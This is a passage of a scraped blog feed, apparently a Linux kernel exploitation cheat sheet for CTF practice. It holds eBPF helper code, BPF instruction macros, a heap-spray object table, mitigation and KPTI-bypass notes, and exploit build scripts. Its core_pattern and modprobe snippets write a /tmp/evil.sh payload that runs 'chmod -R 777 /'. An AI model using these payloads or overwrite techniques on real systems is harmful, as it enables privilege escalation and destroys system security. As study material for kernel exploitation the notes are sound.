int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

void bpf_template() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  int mapfd = bpf_map_create(sizeof(uint64_t), 1);
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // Instructions

      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;176932458&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;176932458&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf_insn.h&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ArgX, context and stack frame pointer register positions. Note,
 * Arg1, Arg2, Arg3, etc are used as argument mappings of function
 * calls in BPF_CALL instruction.
 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10

/* Additional register mappings for converted user programs. */
#define BPF_REG_A BPF_REG_0
#define BPF_REG_X BPF_REG_7
#define BPF_REG_TMP BPF_REG_8

/* BPF program can access up to 512 bytes of stack space. */
#define MAX_BPF_STACK 512

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = 0,                               \
                     .imm = 0})

#define BPF_ALU32_REG(OP, DST, SRC)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = 0,                             \
                     .imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = 0,                               \
                     .imm = IMM})

#define BPF_ALU32_IMM(OP, DST, IMM)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = 0,                             \
                     .imm = IMM})

/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */

#define BPF_ENDIAN(TYPE, DST, LEN)                              \
  ((struct bpf_insn){.code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = LEN})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                      \
                     .src_reg = SRC,                      \
                     .off = 0,                            \
                     .imm = 0})

#define BPF_MOV32_REG(DST, SRC)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                    \
                     .src_reg = SRC,                    \
                     .off = 0,                          \
                     .imm = 0})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                      \
                     .src_reg = 0,                        \
                     .off = 0,                            \
                     .imm = IMM})

#define BPF_MOV32_IMM(DST, IMM)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                    \
                     .src_reg = 0,                      \
                     .off = 0,                          \
                     .imm = IMM})

/* BPF_LD_IMM64 macro encodes single &amp;#39;load 64-bit immediate&amp;#39; insn */
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                           \
  ((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM,           \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = 0,                                    \
                     .imm = (__u32)(IMM)}),                       \
      ((struct bpf_insn){.code = 0, /* zero is reserved opcode */ \
                         .dst_reg = 0,                            \
                         .src_reg = 0,                            \
                         .off = 0,                                \
                         .imm = ((__u64)(IMM)) &amp;gt;&amp;gt; 32})

#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

/* Direct packet access, R0 = *(uint *) (skb-&amp;gt;data + imm32) */

#define BPF_LD_ABS(SIZE, IMM)                                   \
  ((struct bpf_insn){.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
                     .dst_reg = 0,                              \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = IMM})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */

#define BPF_STX_XADD(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = OFF,                                  \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)                         \
  ((struct bpf_insn){.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = OFF,                                \
                     .imm = IMM})

/*
 * Atomic operations:
 *
 *   BPF_ADD                  *(uint *) (dst_reg + off16) += src_reg
 *   BPF_AND                  *(uint *) (dst_reg + off16) &amp;amp;= src_reg
 *   BPF_OR                   *(uint *) (dst_reg + off16) |= src_reg
 *   BPF_XOR                  *(uint *) (dst_reg + off16) ^= src_reg
 *   BPF_ADD | BPF_FETCH      src_reg = atomic_fetch_add(dst_reg + off16,
 * src_reg); BPF_AND | BPF_FETCH      src_reg = atomic_fetch_and(dst_reg +
 * off16, src_reg); BPF_OR | BPF_FETCH       src_reg = atomic_fetch_or(dst_reg +
 * off16, src_reg); BPF_XOR | BPF_FETCH      src_reg = atomic_fetch_xor(dst_reg
 * + off16, src_reg); BPF_XCHG                 src_reg = atomic_xchg(dst_reg +
 * off16, src_reg) BPF_CMPXCHG              r0 = atomic_cmpxchg(dst_reg + off16,
 * r0, src_reg)
 */

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF)                      \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
                     .dst_reg = DST,                                \
                     .src_reg = SRC,                                \
                     .off = OFF,                                    \
                     .imm = OP})

/* Conditional jumps against registers, if (dst_reg &amp;#39;op&amp;#39; src_reg) goto pc +
 * off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = OFF,                           \
                     .imm = 0})

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = OFF,                             \
                     .imm = 0})

/* Conditional jumps against immediates, if (dst_reg &amp;#39;op&amp;#39; imm32) goto pc + off16
 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = OFF,                           \
                     .imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = OFF,                             \
                     .imm = IMM})

/* Function call */

#define BPF_EMIT_CALL(FUNC)                      \
  ((struct bpf_insn){.code = BPF_JMP | BPF_CALL, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = (FUNC)})

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
  ((struct bpf_insn){                          \
      .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM})

/* Program exit */

#define BPF_EXIT_INSN()                          \
  ((struct bpf_insn){.code = BPF_JMP | BPF_EXIT, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = 0})

#endif&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;473592816&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;473592816&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_core_pattern = &amp;#34;|/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;ulimit -c unlimited&amp;#34;);

uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;951762348&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;951762348&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;modprobe.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
system(&amp;#34;/tmp/pwn&amp;#34;);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;689753214&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;689753214&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;creds.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;

const char new_process_name[] = &amp;#34;uniguri&amp;#34;;

if (prctl(PR_SET_NAME, new_process_name) == -1) {
  printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
  return -1;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;scripts&#34;&gt;Scripts&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;748165932&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;748165932&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

# Check if an argument is provided
if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

# Extract the base name without the .c extension
SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

# Compile the file
musl-gcc &amp;#34;$SOURCE_FILE&amp;#34; -masm=intel -o &amp;#34;$OUTPUT_FILE&amp;#34; -static -pthread

# Check if the compilation was successful
if [ $? -eq 0 ]; then
  echo &amp;#34;Compilation successful: $OUTPUT_FILE&amp;#34;
else
  echo &amp;#34;Compilation failed.&amp;#34;
  exit 1
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;375148962&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;375148962&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;copy_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;exploit_binary&amp;gt;&amp;#34;
  exit 1
fi

cp $1 ./root/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;645279138&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;645279138&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;pack_rootfs.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

cd root
find . -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391627854&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391627854&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_compress_copy.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

./build_exploit.sh $SOURCE_FILE
./copy_exploit.sh $OUTPUT_FILE
./pack_rootfs.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&#34;&gt;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&#34;&gt;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;elastic-oeap-objects&#34;&gt;Elastic oeap objects&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Struct name&lt;/th&gt;
          &lt;th&gt;Generic caches&lt;/th&gt;
          &lt;th&gt;Constraints&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/keys/user-type.h&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[32,32767)&lt;/td&gt;
          &lt;td&gt;only 200 allocation&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/mm_types.h&#34;&gt;&lt;code&gt;struct anon_vma_name&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,96)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/msg.h&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[64,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/ipc/msgutil.c&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096)&lt;/td&gt;
          &lt;td&gt;cg cache&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/drm/drm_property.h&#34;&gt;&lt;code&gt;struct drm_property_blob&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[96,INT_MAX)&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;char* description&lt;/code&gt; in &lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/include/linux/key.h&#34;&gt;&lt;code&gt;struct key&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
          &lt;td&gt;kmalloc-[8,4096&lt;/td&gt;
          &lt;td&gt;)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;mitigations&#34;&gt;Mitigations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SMEP (Supervisor Mode Execution Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent RET2USER&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smep&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smep&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMEP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SMAP (Supervisor Mode Access Prevention)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Stack Pivot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-cpu kvm64,+smap&lt;/code&gt; in QEMU runtime argument&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/cpuinfo | grep smap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR4.SMAP&lt;/code&gt;, &lt;code&gt;EFLAGS.AC&lt;/code&gt; (&lt;code&gt;STAC&lt;/code&gt; and &lt;code&gt;CLAC&lt;/code&gt; Assembly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KASLR (Kernel Address Space Layout Randomization) / FGKASLR (Function Granular KASLR)
&lt;ul&gt;
&lt;li&gt;Entrophy: &lt;code&gt;0xffffffff81000000&lt;/code&gt; ~ &lt;code&gt;0xffffffffc0000000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deactivation: &lt;code&gt;-append &amp;quot;...nokaslr...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KPTI (Kernel Page-Table Isolation)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Prevent Meltdown&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Activation: &lt;code&gt;-append &amp;quot;...pti=on...&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /sys/devices/system/cpu/vulnerabilities/meltdown&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Related HW feature: &lt;code&gt;CR3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bypass:
&lt;ul&gt;
&lt;li&gt;If SMAP is disabled, &lt;code&gt;mmap(?, ?, ~ | MAP_POPULATE, ?, ?)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If ROP is allowed, use &lt;code&gt;ireq&lt;/code&gt; in &lt;code&gt;swapgs_restore_regs_and_return_to_usermode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;KADR (Kernel Address Display Restriction)
&lt;ul&gt;
&lt;li&gt;Why?
&lt;ul&gt;
&lt;li&gt;Hide address in &lt;code&gt;/proc/kallsyms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check: &lt;code&gt;cat /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;image-related&#34;&gt;Image Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Unpack CPIO: &lt;code&gt;cpio -idv &amp;lt;../rootfs.cpio&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pack CPIO: &lt;code&gt;find. -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;debugging&#34;&gt;Debugging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Extract vmlinux from bzImage from &lt;a href=&#34;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&#34;&gt;https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;


  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;312654897&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;312654897&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;extract-vmlinux&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland &amp;lt;dick@streefland.net&amp;gt;
#
# (c) 2011      Corentin Chary &amp;lt;corentin.chary@gmail.com&amp;gt;
#
# ----------------------------------------------------------------------

check_vmlinux()
{
	# Use readelf to check if it&amp;#39;s a valid ELF
	# TODO: find a better to way to check that it&amp;#39;s really vmlinux
	#       and not just an elf
	readelf -h $1 &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 || return 1

	cat $1
	exit 0
}

try_decompress()
{
	# The obscure use of the &amp;#34;tr&amp;#34; filter is to work around older versions of
